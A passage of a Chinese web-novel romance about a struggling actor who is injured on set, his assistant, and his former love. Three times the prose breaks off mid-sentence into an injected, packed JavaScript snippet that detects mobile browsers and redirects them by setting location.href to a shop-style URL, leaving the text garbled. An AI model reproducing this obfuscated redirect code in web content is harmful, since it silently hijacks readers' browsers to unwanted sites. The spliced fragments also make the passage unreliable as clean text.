她本是许多人中的一个,但不知道什么时候起,她走在了最前面。 那时候祁歌还不知道,程书仪就是那种任何事都会走在最前面的那种女孩。 她决定要走的路就一定会走到底,她决意放弃的事也不会再回头去流连。 祁歌后来回想,他之前的生命里竟然从没遇到过这种人。 所以渐渐的也会感到不适,甚至为了自保,不得不主动远离。 那时候祁歌知道自己不太对劲。 当时他在拍一个还算正规的剧里的边角料角色,每天的戏份就是跟在男女主身边插科打诨,贡献笑料,毫无指望地爱一个永远不可能属于自己的女神。 他接受了,至少这角色有名有姓还有台词剧情,他什么都可以接受。 于是细心揣摩那个人物揣摩出了万字人物小传,开机拍了三天,被人换掉了。 祁歌也不知道那个人哪来的,反正肯定是剧组合作的公司要推的新艺人。 一位新人,用这个角色当做出道作品,大概是个不错的选择。 祁歌也接受了,又问能不能换一个别的角色演,或者跟组演一些前景什么的。 那当然是没有。 导演亲自跟他道了歉,说不是他不好,有机会下次合作。 他看得出导演这话只是空口说说。他现在就是个没用的皮球,最好一脚踢得越远越好,最高的职业道德就是别粘着人家不放。 于是祁歌麻利地收拾行李回家,等着经纪人重新给他递简历,等新的面试机会。 与此同时,一些剧组有些龙套类的角色要人,他也都去拍。 有时候从早到晚候场一天,有时候站岗几小时最后没入镜。 大概就是那个时候,他开始有种力不从心的感觉。 不是体力跟不上,是心力渐渐的追不上了,像潮水渐落,无论怎样吹风也没办法回来一丝一毫。 程书仪对他的坚持很不以为然,说没好角色可以不拍,又没多少钱,这样下去身体都要搞坏了。 祁歌还在挣扎:“我一直拍戏,或许有天……” “哪有那种可能,”程书仪指出事实,“当红明星哪个不是捧出来的……” 他知道程书仪是在为他好,但他是真的没办法面对这个事实。 程书仪说他现在不算是成熟的演员,也没好到让人过目不忘的地步,从现在的成绩就看得出来。想演男主不知道要熬到猴年马月,几率实在太低了。 这类的对话重复了几次,程书仪又建议他说要不要从公司途径努努力,找个像样点的大树抱一抱。 “实现梦想也得有途径吧,你得找找出路啊……”程书仪这么念叨着。 眼看时间快过零点,她刚出差回来,行李箱开了又关,说第二天还要走。 就这么点睡眠时间,还要分出来跟祁歌苦苦分析渺茫的前途出路。 “算了吧,”祁歌说,“要不然算了吧。” 程书仪在家里收拾妥当才出了门。 她平时衣着打扮都很随性,除了要出席某些场合时,都不太喜欢打扮自己。 不过今天有个关系不错的好友邀约聚会,选了个挺隆重的餐厅,为了表示重视,她稍稍捯饬了一下,做了点造型。 到了地方约的人还没来,说是路上稍稍耽搁。程书仪坐在座位上继续刷微博超话,想看看某演员的战争戏拍得怎么样了。 不知道是因为拍到比较重要的戏份清了场,还是这个拍摄区域不太方便偷拍,今天的戏都没什么路透放上来。 就在不太方便拍摄的沙地上,祁歌被马蹄扬起的沙尘呛得咳嗽个不停。 这段要拍冲锋戏,他要被吊起来做几个动作,难度不算太高,但对现场配合的要求还是挺高的。 因此排练了好一会儿,祁歌也吃了不少苦头,才成功拍出几条导演满意的。 喊了cut之后祁歌就再忍不住连连咳嗽,咳完摆手拒绝了阿远递来的水,无声地呲了下牙。 阿远已经很熟悉他的小动作和微表情,见状立马问他是不是哪里疼? 祁歌当然是说没事。 阿远连听都不用听,只需要提前翻好白眼。 直到这段拍完,祁歌被从空中放下来,才肉眼可见地深出了一口气。 “是威亚勒的?”阿远跟他确认。 “不要紧。”祁歌说。 不要紧才怪。 这个人超级无敌能忍,一般没死都说不要紧。 好在这段戏终于告一段落,阿远催着祁歌去房间里休息一下。 在这露天黄沙里晒着,整个人都要烤熟了。 祁歌倒是也听话地进了屋,坐下来时的动作却显得异常小心和勉强。 “不知道的以为您怀孕了。”阿远毒舌道。 祁歌闭上眼呼了口气,终于笑了笑:“你去吊一会儿试试……” 他今天穿的盔甲是一种直身甲,身体前后各一片,在腰间固定。说话间,祁歌的手已经从前片与里衣的中间伸了进去,虚虚在腹部揉了两下。 “胃不舒服了吧?”阿远问。 祁歌点点头:“就是勒的,没事儿。” “多少再吃点东西吧,”阿远十分操心,“中午也没吃几口。” 祁歌摇摇头:“有点反酸,吃不下。” 鸽子可真难养啊,阿远叹了口气。 难受归难受,下一场戏该上还是得上。一番沙场冲锋下来,祁歌嘴唇都裂出了血痕。 导演在监视器里看得清楚,问他是不是受伤了。 祁歌笑说没有,一抬手自己抹掉了。 阿远十分感佩,这人有这种逞强的能力,做什么事都会……委曲求全的。 令人恨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578282|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁不成钢。 于是程书仪收到的私家路透里,可怜的小演员嘴角还留着没擦净的血痕。 “怎么搞成这样?”她立马发了视频过去。 视频是阿远接的,背景画面里祁歌已经解下盔甲,灰头土脸地坐在椅子上费力地试图脱靴子。 “程姐,”大概是这里不太合适拍视频,阿远压低了声音跟她说话,“我们今天收工啦,祁哥可惨了,刚才被放在地上拖。” “喂哪有那么夸张,”祁歌听到她在背后蛐蛐,抬头指正道,“那是威亚没拽好,我提前落地了而已。” “有什么区别?”阿远对着镜头瞪眼作不可思议状。 程书仪笑了出来:“好了,没事就行,我还以为伤到哪了。” 阿远还想说什么,却再一次被祁歌从后面打断了:“没事,书仪你忙吧,不用担心。” 他终于脱下了那双厚重的靴子,站起身走到阿远身后,俯身看向屏幕露出笑容。 就在这时,程书仪的朋友正好也到了:“书仪,抱歉有点迟了。” “没有,是我早到了,”程书仪对朋友笑了笑,又转向手机屏幕里,“那我挂了,回头再聊!” 祁歌看着通话挂断。 虽然只看了短短几秒,但他可以看出程书仪化了妆,还做了头发,耳朵上有耳坠在幽幽闪着光。 她周围的环境布置很精致,看上去正在一家优雅考究的餐厅里。 她说话的背景的声音里有小提琴声,听起来不是来自唱片,而是有人在现场演奏。 而那位朋友……是男性,声音很是温和。 程书仪也对他露出了笑容。 程书仪……是在约会吗? 他一时说不清自己是什么心情,只觉得稍微有些烦乱。胃里没有了盔甲的压制,变本加厉地翻绞起来,拽得他不由自主地弯下腰去。 “哥你先坐下,”阿远扶他重新在椅子上坐好,“给,热水,胃药。” 祁歌恨不得把手指关节都塞进上腹,好压住这一阵又一阵的作乱,可惜不但收效甚微,还搞得自己有些作呕。 他们此刻身处服装间,这会儿来来往往的人不少,很快有人留意到他们这边的动静,纷纷来关心他怎么样。 于是祁歌只好又用力将自己的身体撑起来,对周围的人摆手说没事。 阿远看着觉得还怪心疼的。 等到祁歌卸了妆,胃疼也缓过来点了,高姐才终于过来。 “走走,已经约好了时间,我们快点过去吧,我一会儿还有事,等下结束你自己回哈。”高姐嘱咐祁歌说。 她手上现在艺人比较多,忙得分身乏术。 “要不我也一起去?”阿远主动问。 高姐犹豫了一下,看了眼祁歌又看了眼阿远。 “你下班吧,”祁歌颤颤巍巍地站起来,“我自己就行。” 其实阿远此刻还根本不知道到底要去做什么,但她就是觉得祁歌这种拒人千里之外的态度十分烦人:“老板都没下班我下什么班,你去哪我去哪,走吧!” 祁歌愣了一下,没再说什么,算是默许。 高姐却笑了一声:“阿远,看来是得给你涨工资了啊。” “真的吗?!”阿远眼中冒出星星,“姐你是我永远的姐……” 26. 糖浆味 阿远以前从来都不知道,原来要解决心理问题需要看那么多医生。 原来目前为止祁歌已经换过好几个心理医生了,每一种解决他症状的药也都试过好几种,现在甚至到了可以不用看备忘也如数家珍的程度。 也是听祁歌自述,阿远才知道他最近常有心悸胃痛,睡眠也不太好。 “也可能是因为最近作息比较乱……我还是有点担心复发,继续吃这个药可以吗?”祁歌面对医生态度诚恳乖巧,完全看不出平时漠然的死感。 还挺新鲜的。 “原来哥你治病还挺努力的,”回去的路上阿远这样评价道,“我还以为你是自暴自弃,原来是回天乏术。” 祁歌正研究手里的一堆药,闻言瞪她一眼:“注意下你用词行不行。” 阿远悄悄吐舌。 但这次看的医生感觉也不是特别靠谱,阿远心想,刚才临走前还一本正经地建议祁歌要多运动,多晒太阳。 就是说虽然祁歌看外形不是那种健壮型的,平时可没少运动,还天天太阳底下暴晒。 要是有用他就不会来这儿了。 “记着别跟书仪说这些啊。”祁歌嘱咐道。 “我知道我知道,”阿远用手指塞住耳朵,“我看您还是多操心自己吧。” 程书仪跟这位朋友的见面也算许久未见,两人好好地互相更新了近况。 之后吃了朋友的安利,程书仪给自己加了点活儿,连着开了几天会,闲下来才发觉这几天好像都没听到祁歌的动静。 上一次联系还在说拍打仗的戏,拍完这一段可能就会回A市补拍现代戏份的镜头。 也不知道拍得顺利不顺利,什么时候会回来。 最近忙碌起来,她看超话的时间也少了,小鸽子喂养群竟然也没什么动向。 “阿远休假了?”她发消息给阿远。 阿远那边正在输入了半天,冒出一句:“如果我说休了你会去问祁哥本人吗?” 嗯?这孩子怎么突然阴阳怪气起来? 程书仪觉得此事有些古怪,却又不得不承认阿远这个问题十分精准,她现在确实是在尽可能地通过一些介质去关注祁歌。 去关注超话也好,去追阿远的更新也好,她好像回避着一切直接与祁歌本人的接触。 这感觉就很像她刚刚在浩如烟海的网络世界发现祁歌的那个时候。 那段时间大家都居家办公无所事事,程书仪在家百无聊赖刷软件上的动态时,偶然刷到了他。 祁歌当时穿着一身古装,剑眉星目,对着镜头一本正经说给大家看看片场日常。 程书仪还以为是要介绍想象中高大上的演员生活,没想到小龙套每天状况百出,种种倒霉细节令见者无不哈哈大笑。 一本正经的搞笑果然是绝杀。 程书仪笑过之后,忍不住更加好奇了起来。 镜头里的小演员看上去挺优秀没什么短板,面容清俊好像什么扮相都可以轻松驾驭,讲述事情时语言井井有条,口齿也清晰好听。 小演员大概入行时间不长,总在各种剧组中饰演些小配角,每天都勤勤恳恳的,看着就像个追梦人。 可是遇到任何麻烦狼狈的事,他都是一副既来之则安之的态度,没什么太大的情绪波动。 这到底是个什么样的人啊? 有次拍摄时碰到被一起工作的老师夸奖,祁歌跟人谦虚一番,回头对着镜头忍不住展颜笑了起来。 程书仪不由把进度条拉回去看了七八遍。 天哪,那个笑容也太亮眼了。 他笑起来眉目弯弯,嘴角的弧度堪称完美,真如清风明月一般。 程书仪顿时觉得这个小演员风姿过人,得趁大红大紫之前赶紧勾搭一下才行。 总之就是,色令智昏。 那时候他们素不相识,两人之间的距离还很遥远。她每天都想着怎么能接近一点。 时过境迁后再回头看,又觉得这可能才是他们两人间最安全的距离。 就这样做个普通网友,偶尔关心一句对方近况,不是挺好的。 唯一的问题就是……他们之间还有祁歌留下的那个问题。 他想要程书仪再考虑一下。 这段时间,程书仪不是没有试图考虑过他们之间残存的可能。 不可否认,她还是会被祁歌吸引,会想去了解和靠近对方,想要看看这三年的河水过后,到底会是如何景象。 可如今这种境况下,他们之间又会有什么结果呢? 程书仪是真的有点怕了。 再反应过来的时候,她已经给阿远回复了实话:“不会。” 阿远没再回话过来。 程书仪虽然不明白这是怎么回事,但大概也能猜到阿远的心情。 想必是替祁歌觉得委屈了吧。 当然,阿远如果知道程书仪居然是这么想的,必定会直呼大错特错。 她哪里有祁歌那种弯弯绕绕的心思,这番试探纯粹是因为眼下祁歌人都快挂了,居然还暗搓搓念叨怎么群里这么安静。 ——当然,目前快挂了的是他的角色。 这几天A组也结束了戏份,合并到了这个片场。祁歌的戏份则基本只剩下英勇就义的部分了。 陈逸心被加了不少戏,现在又拉了小会在跟导演制片商榷古代篇自己所演角色的结局。 “其实我觉得还是不要死,”他笑嘻嘻地说,“现代篇我也没死,古代篇干嘛要死呢……” 导演皱着眉:“但是女主没死的话……” 男主死了,岂不是女主跟男二圆满了吗? 导演为此十分发愁。 其实站在旁边悄悄旁听的阿远觉得倘若男配也死了才是大大的不好,俗话说不怕男配爱搅局,就怕男配舍生忘死变成白月光朱砂痣。 “我有个问题,”祁歌发言说,“他的角色结局会影响现代剧情吗?” “那不会,”导演说,“这个角色肯定是留在古代篇里……这样吧,我觉得给个开放性的结局,但不要和女主在一起先。” “可能觉得女主死了,心灰意冷。”祁歌帮忙圆场说。 对此陈逸心也表示了同意。 “好,那辛苦编剧老师,今天再把这部分写一下。”导演说。 真就现拍现写啊……阿远跟祁歌交换了一下眼神,看来今晚又有飞页了。 她相信祁歌get到她的白眼了。 今天原本拍完戏还挺早的,这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578283|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个会开完,天又黑了。 他们拍沙场戏需要抢黎明和傍晚的天光,服化又比较复杂,一般很早就要起。 “唉,”阿远叹了口气,“还以为今天能好好休息一下。” “你明早可以晚点来,多睡会儿。”祁歌声音弱弱地说。 “那当然好了。”阿远还想问他这个语气是什么意思,一扭头看到人扶着墙就要往下倒。 “哎——”她刚准备一惊一乍一番,就见祁歌摆了下手勉强靠在墙上,抬手把手里已经拿出来的糖放进了嘴里。 “……低血糖。”祁歌解释道。 看来是在里面就不舒服了,早就准备好了糖,硬是坚持到出了门才吃。 “哥,你知不知道总是低血糖会影响大脑功能?”阿远忧心忡忡地问他。 “嗯,”祁歌闭了闭眼睛重新睁开,低着头慢慢往前走,“没事,长期严重的才会,我这很轻微。” 阿远一时无语。 真是服了这个人,每天半死不活,但意外的非常□□。 于是隔天就真“死”了。 不知道为什么,角色死亡的戏总会让导演异常兴奋。 “好好好,就这样,太美啦!” 祁歌以各种惨状满足了导演的死亡美学后,招手让阿远拿水。 阿远赶紧拎着水杯过去:“还行吗哥?” 祁歌点点头,喝了一大口水。 水渍与他唇角假的的血迹污泥混在一起,看上去更狼狈了,也确实有种楚楚动人的凄艳美感。 “今天应该不会低血糖了,”祁歌对她开玩笑,“这糖浆我都喝到第三杯了。” “要喝下去的吗?”阿远十分惊讶,“什么味儿的?” 祁歌打量她:“你想试试?” 阿远疯狂摇头。 “对了,”祁歌状似不经意地瞥了眼她拿在手里的手机,“最近我们群里怎么没人讲话了?” “啊?” 这是啥意思啊,阿远十分茫然,那群里拢共就三个人,你不说话我不说话她不说话,不就没人说话了吗…… ……噢,好像懂了,他想问的是,为什么她没讲话。 就不能自己去问吗?! 阿远继续无语。 没想到更无语的事马上就来了。 开拍后阿远让出拍摄场地退回休息区,划开手机赫然看到程书仪的消息,问她是不是休假了。 不就是拐着弯问怎么没更新饲养记录吗? 阿远实在搞不懂,这两个人到底在这儿遮遮掩掩什么劲儿。 就不能光明正大谈恋爱吗? 她这边瞎回复完盯着手机心内还在腹诽,忽然听到有人惊呼,抬眼看去时才发现祁歌那边的拍摄不知出了什么问题,一堆人围了上去。 阿远一个激灵拔腿就跑过去,透过一圈工作人员身影的缝隙,一眼看到一只放在地上的手。 从那个衣服和护袖看,是祁歌的手。 阿远脚步一顿,感觉脑子里嗡的一下。 另一边的A市,程书仪晚点闲下来发现阿远还是没有后话,只得怏怏点开微博。 她还没来得及点进超话,就看到首页热搜推荐里“演员祁歌拍戏坠马”几个大字。 27. 折骨记 “快快,叫医护人员过来!”人圈内有人喊着。 阿远慢慢走上前,终于看清了祁歌的情况。 人群的中间,祁歌正仰面平躺在地上,刚才骑着的马也侧躺着,有工作人员正试图扶起它。 这是……坠马了?!阿远整个人都吓麻了。 “阿远……”她听到有人在叫她,定睛一看才发现这话音是来自躺在地上的祁歌。 祁歌正眯着眼睛看着她。 好好好,至少人还活着。 她蹲下来不敢动对方:“你哪里受伤了?知道自己是谁吗,还有知觉吗?” 祁歌蹙着眉似乎是想动一下,却稍稍用力就疼得咬牙呻吟了半声,脸色惨白,额头上蒙了一层冷汗。 “你别动!”阿远当机立断阻止了他。 疼成这样,可不是普通的摔伤。 医护人员很快到场,帮祁歌简单检查了一下,判定有骨折,具体的还要去医院检查,暂时不能动他。 “已经通知了救护车,马上就过来。” 工作人员帮祁歌打起了伞挡住太阳,阿远掏出湿巾简单给他擦了一下脸上的汗水和尘土。 “没事的,”祁歌宽慰她说,“医生也说了,可能就是骨折了……你帮我个忙好不好?” “什么忙?”阿远问。 “帮我把头套摘了吧,现在是不是已经开了点?这样去医院也太丑了……” 刚才摔下来的动作太大,头套确实开了一大半,隐隐露出他本身的头发。 阿远白他一眼,上手小心翼翼地帮他将残存的一点胶水从皮肤上揭开。 他的头发里面几乎都汗湿了。 刚才他们拍的是场骑马追逐的戏。 祁歌对骑马还不算熟悉,但这场戏只需拿好武器,按照现场马术老师的要求从固定的轨迹跑过去就可以,本来不算危险。 可是现场环境为了更像战场,布置得比较复杂,层层摆放了火堆、战旗、沙袋等物品。祁歌要追逐的那匹马奔跑时抄了个近路,没想到一脚踏上了没充分燃烧的木炭,当即侧着连人带马跌了下来。好在前面那位演员是专业的武戏演员,胳膊摔肿了一块,身上还有些擦伤,没什么大碍。 祁歌的马就跟在后面,躲闪不及一起被绊倒。祁歌整个人侧着撞在地上,当时就起不来了。 救护车来了之后,祁歌被小心地转移到担架上送往医院。 阿远和剧组的工作人员跟着一起到了医院将人推进急诊,简单处置后进了观察室,还要去医生办公室听医嘱。 祁歌神志一直清醒,只是疼得厉害,被打了吊瓶之后终于浅浅地睡了过去。 “喀拉”一声,医生将手里的片子夹在观片灯上给阿远和工作人员看:“左侧这两根肋骨都有骨裂,好在没有错位。” “那要怎么办?”阿远急切地问。 “伤处要固定一下,一周内卧床静养避免活动,之后再来复查,”医生坐下来开医嘱,“可以吃点止痛的药。” “不能活动啊……”工作人员念叨了一句。 他们在这边的戏只剩下几场,置景的时间也快到了,阿远不觉得剧组会留着这个景等祁歌痊愈。 程书仪的电话就是这个时候打过来的。 阿远一边往观察室走一边接了起来:“程姐,祁哥没事。” 这会儿她已经接了高姐和公司其他人好几个关心的电话,开始习惯性地开口报平安。 电话那端没人说话。 “程姐?”阿远以为是信号不好,又喊了一声。 她听到很轻的一声呼气声。 “没事就好,”程书仪说,“他……受伤了吗?” 阿远忽然发现这是她第一次感受到程书仪某种压抑不住的情绪。 “……是,”阿远如实说,“有两根肋骨骨折了。” 她说话间已经回到了祁歌床边,看到祁歌已经醒了,正疑问地看着她。 “程姐你……要跟祁哥说话吗?” 程书仪没来得及拒绝。 她在电话接通的前两秒就听到“没事”两个字后,一时心中五味杂陈。 最想感谢的是阿远第一句就说了这个,以最快的速度解决了她的煎熬。 程书仪虽然没见过片场的马,但因为有喜欢这方面的朋友影响,时不时会观看一下马术表演。 从马上摔下来当然是非常危险的,小则重伤大则丧命。因此她刚才来不及点进热搜去看详情,直接退出来打了电话给阿远。 尽管已经说了没事,但听到断了两根肋骨,她也不由心里揪紧了一下。 ……她有什么话想跟祁歌说吗? 程书仪还来不及想清楚,电话里已经传出了祁歌的声音:“书仪,不用担心,我没什么事,就是个小事故。” “还在医院吗?”程书仪问。 “嗯,”祁歌说,“这事怎么你都知道了?” “我在热搜上看到的。”程书仪实话实说。 “啊?上热搜了?”大概是太过吃惊,祁歌声量稍微大了一点,程书仪立刻听到一声轻微的抽气声。 “好了我不打扰你了,你好好休息,后续有什么需要跟我说。”程书仪说。 她挂断电话后,重又切回之前的微博页面。 祁歌的热搜还明晃晃挂在上面。这次程书仪点了进去,只看到一段大概是现场有人偷拍的视频,能够远远看到两人两马在一片黄沙地中奔驰,摄影机吊臂在他们前面拍摄。 接着前马失蹄侧倒,后马躲避不及一个扬蹄也跪倒下去,两个人一前一后全都摔在了地上。 从衣着来看,后一个被狠狠甩到地面上的那个应该就是祁歌。 程书仪只看了一遍就不忍再看。 肯定很疼吧……刚才还强撑着说话。 她有点想去看看祁歌,但手机里立刻收到了祁歌发来的消息,是他躺在床上的自拍,穿着的应该还是戏服,面上却带着笑,倒看不出狼狈。 “真没事,放心吧,高姐说这种程度的伤,剧组最多给我放两天假。” “也太不人道了吧!”程书仪义愤填膺地回复,“你都骨折了!” “只是骨裂,”祁歌又发了片子的照片给她看,“医生说只用绷带固定一下就行。” 听起来确实不算太严重。程书仪终于放下点心来。 被污蔑的高姐在车上打了个喷嚏。 多事之秋啊多事之秋,她念叨着走进医院,顺利找到了来接她的阿远。 “我可以见医生吗?”高姐劈头就问。 阿远一愣:“啊可以吧应该,医生刚才说祁哥是两根肋骨骨裂,要固定,一周避免活动,还开了止痛药。” “嗯,”高姐点头,“他怎么样?” “就……” 这个医院的急诊科不算太大,说话间他们已经走到了观察室的床前。阿远直接示意了一下给高姐看。 祁歌已经又睡着了。 他身上的戏服只被脱了盔甲和外袍,白色的里衣还穿着,妆也没卸干净。这会儿即使睡着了,祁歌也微微蹙着眉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578284|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个人呈现出憔悴的碎感。 “啧,”高姐小声感叹了一句,“怎么搞这么惨。” “高姐,刚才听说这事上热搜了?”阿远问。 高姐摆摆手:“没事,公司之后会处理,先挂一阵子,卖卖惨。” “……行。”阿远应道。 尽管高姐已经跟剧组尽可能争取了,祁歌还是休息了两天就回了片场。 “真没事,”他跟每一个工作人员保证,“就是动作不能太大,给各位添麻烦了。” “歌歌你悠着点,我们只拍你的正面镜头,那些动作戏给替身来完成就好。”导演嘱咐道。 “好,谢谢导演。”祁歌露出笑容。 但再怎么小心,毕竟这也是在拍他非常关键的死亡场景,祁歌多少还是要配合要求做点简单的动作。 为了保证祁歌安全拍完这两天的戏,高姐还专门找了个保镖兼护工过来帮忙,阿远则在每次导演喊cut的时候都会上前递水擦汗,问祁歌感觉怎么样。 “不用这么夸张,”祁歌有点哭笑不得,“我真没事,就是还有点疼,这些简单的戏不影响。” “你都吃了止痛药了还疼,这就很有问题啊,”阿远说,“你是真看不见自己的脸色。” 祁歌只好任命地叹了口气,接受两个人无微不至的照顾。 一天的戏份拍完,祁歌被一路护送回了房间。这两天他的伤处都需要旁人帮忙在洗澡前后拆戴固定器,保镖哥哥十分尽责地寸步不离,让他多少有些不自在。 那天跟程书仪打过电话后,祁歌每天都会在微信上跟程书仪说一两句话,开个玩笑什么的。 “今天复工了。”他打字道,想了想又加了句:“不过大部分戏都用了替身。” “不是要卧床静养吗?”程书仪问。 “小幅度的动作没事的,也跟医生确认过了,放心吧。”祁歌回道,“就是可惜……” “什么?”程书仪问。 “可惜不能亲自死啦。”祁歌抛出梗来,获得程书仪的白眼表情。 祁歌坐在床边发完消息,动作小心缓慢地躺下来,用掌根压了压胃部。 吃止痛药还是多少会造成胃不舒服。 但不吃止痛药,骨裂伤处的疼痛可能会让他在片场没办法控制自己的表情。 他其实可以想象程书仪会怎么想,又不是什么了不得的剧,一个小制作的低成本小剧组,哪里至于要舍了命去拍摄。 一直以来,演员这个行业推崇的是天分,是灵气,是无师自通。 但是祁歌似乎更当它是个技能。 既然是技能,就可以通过反复的练习来不断熟练和提升。 因此他将自己放在水面下面,通过一次又一次无人看到的练习,让自己每次拥有机会被看到时,可以在尽可能短的镜头时间里,传达出更多的东西。 这些话他没有跟程书仪说过。 不管怎么说,承认自己就是没有天分,还是需要一些勇气的。 而这些出自他本能的策略,也是后来才慢慢想通的。 因此虽然程书仪可能会觉得他这么多年毫无长进,但祁歌自己知道其中不同。 和三年前相比,他已经变得笃定而确信。这条路他会这样走下去,也只能这样走下去。 只是这些话他想了又想,还是没办法对程书仪说出口。 程书仪太优秀也太美好了。 他有点不确定这样被破破烂烂地粘在一起,缓慢又固执的自己,是否还会值得她的爱意。 28. 奔向你 祁歌这部分收尾情节的拍摄原本预计是拍要三天。 到了第二天下午快收工时,天空突然阴云密布,飞沙走石,眼看就要下起阵雨。 “要不然最后一幕咱们就改晚上就拍雨戏吧!”导演搓手说,“就是这个画面,一鼓作气拍完,我感觉还是很有感觉的!” 这场戏要如此突然地改成雨戏加夜戏,剧组有太多东西需要临时安排和协调,一时各部门兵荒马乱地准备起来。 祁歌捧着水杯坐在休息区轻轻叹了口气。 “怎么了?”阿远敏感地问。 “没事,”祁歌对她笑笑,“在想那个固定带要是弄湿,会不会干得很慢。” “对哦!你睡觉也得戴着!我现在给你买一个!”阿远立刻开始紧急打开软件查看有没有可能立刻给他买个新的,一会儿淋过雨用来替换。 “不用了,”祁歌说,“我现在拆了不就行了吗,等拍完换衣服的时候再戴上。” “那怎么行!”阿远当即发飙,“拆开再一活动,万一肋骨错位你知道会怎么样吗?戳坏内脏你会死的!” 祁歌立刻作乖巧状:“好好好,我不拆。” 阿远快速翻了好几个软件,终于找到一个可以在80分钟内送来的:“买好了!” “阿远,”祁歌特别真诚地说,“谢谢你。” 阿远愣了一下:“干什么,我跟你说下午饭必须得吃啊。” “我也没说不吃啊,”祁歌撇了下嘴,“你盒饭领了吗?听他们说今天有什么脆皮鸡。” “有脆皮鸡饭?”阿远立刻开心起来,“我马上去抢!” 她拔脚要跑,又回头问保镖师傅吃什么。 保镖师傅表示什么都行。 “那我看着给你多拿点!包子要吧?”阿远一边说一边人都跑远了。 祁歌的晚饭没有脆皮鸡也没有包子,只有高姐特意给他订的山药粥。 据说养胃又清淡,适合他这个伤病员。 祁歌吃之前先咔嚓拍了张照给程书仪看,表示自己今天也有在好好吃饭。 “是什么?”程书仪问。 “山药粥,”祁歌回道,“每次要加班的时候伙食都特别好,阿远有脆皮鸡饭,镖哥有鸡腿饭和包子。” “要拍夜戏啊?” “嗯,顺利的话今天就拍完这边的戏份了。”祁歌在文字末尾放了个小小的笑脸,“你吃饭了吗?” “正要吃。”投桃报李,程书仪也给祁歌发了自己的饭桌。 祁歌眯了眯眼睛,仔细放大图片看了看。 这看上去是在一个什么挺不错的饭店,桌上隐约摆着好几个菜,应该不是一个人吃的。 程书仪是在和谁吃饭呢…… 要是以前的他,可能会直接开口询问。 可是他又想到那天程书仪所说的“朋友”,那道小提琴声中的男声。 他锁了手机屏幕,没再回消息过去。 程书仪有点后悔最近把行程安排得太满了。 祁歌每天给她发这些日常,根本就是在撩拨她。 表面上是在让她放心不要挂念,其实完完全全是用每天的逞强让她放不下一点心。 狐狸尾巴如司马昭之心! 只不过狐狸也有失算的时候,她现在不是不想去关心一下,而是真的去不了。 那天决定卷一下自己之后,她安排了不少紧凑的日程,一时也没办法全部推掉。 这些年她自问事业心已经没有之前那么强,但自己决定要做的事从来不会半途而废,也不会草草应付。她习惯任何事都尽力而为,现在当然也是如此。 于是只好心猿意马那么一下,还是先应付好眼前的事再说。 等忙完了再去处理这只狐狸的事吧!她无奈地想。 说实话,尽管阿远心理建设了很久,但看到祁歌真的“死”在自己面前,还是忍不住有些心悸。 特别是祁歌前两天才刚刚遇到了事故,现在又一身狼狈地在雨幕中冲锋陷阵、身受重创、垂死挣扎……她总觉得心里那股子刚看到祁歌受伤时的害怕又漾上来了。 她尚且如此,不知道那些真正爱着祁歌的家人朋友,还有那些粉丝该怎么想。 她没敢去看超话,却几乎可以想象粉丝的反应。 高姐说这些她会处理,用不着阿远操心。 可阿远总觉得祁歌不会赞成那些,只不过祁歌现在实在分身乏术,管不到这么多罢了。 一段戏拍完后,祁歌被扶起来到雨棚下休息。 有工作人员给他递上半杯姜汤说赶紧去去寒,祁歌没伸手接。 阿远站在旁边帮着给接过来了:“怎么样?” 祁歌欠身咬着牙忍耐了一阵子,才试着抬手要接过阿远手里的杯子。 那个轻飘飘的一次性纸杯进了祁歌的手里,几乎是立刻便脱了手,直接掉在了地板上。 “哎呀,有没有烫到?”周围的人看到过来关心了一番,阿远也立刻帮忙看了眼祁歌身上有没有被溅上热水。 祁歌勉强抬头摆摆手:“没事,没拿稳。” “祖宗啊,你到底哪里难受?”阿远小声问祁歌,“现在是你的角色要挂了,不是你自己要交待在这儿啊。” 祁歌被她逗笑了:“哪有……那么夸张。” 他整个人都在细微地颤抖着,甚至没办法一口气说出一句完整的话。 “伤处疼吗?”阿远急切地问他,“胃疼?冷不冷,头晕吗?” 祁歌歪着头似乎是想了一下,最终点了点头。 阿远一脑门的问号。 好在阿远急疯之前,祁歌终于开口答了句:“都有点吧。” 阿远掏包的手顿住了。 止痛药,胃药,暖宝宝,糖块……我到底该先给他什么啊…… 好在,一段戏纵使再艰难,也终于有拍完的时候。 他们收工时雨渐渐地停了。 日色欲曙,天边现出苍茫的白色。长风里带着丝丝凉意,穿过架设在这沙地上林林总总的各种设备,也穿过演员们未干的衣摆和发梢。 结束了。 阿远甚至有些不敢置信。 在这个庞大的影视城里,祁歌需要拍的戏份已经全部结束了。后续导演有些镜头要补,陈逸心那边还有几页新添加的戏份。等这些也拍完了,再等A市的景协调完毕,大家一起去补拍几天,这部戏将会迎来杀青。 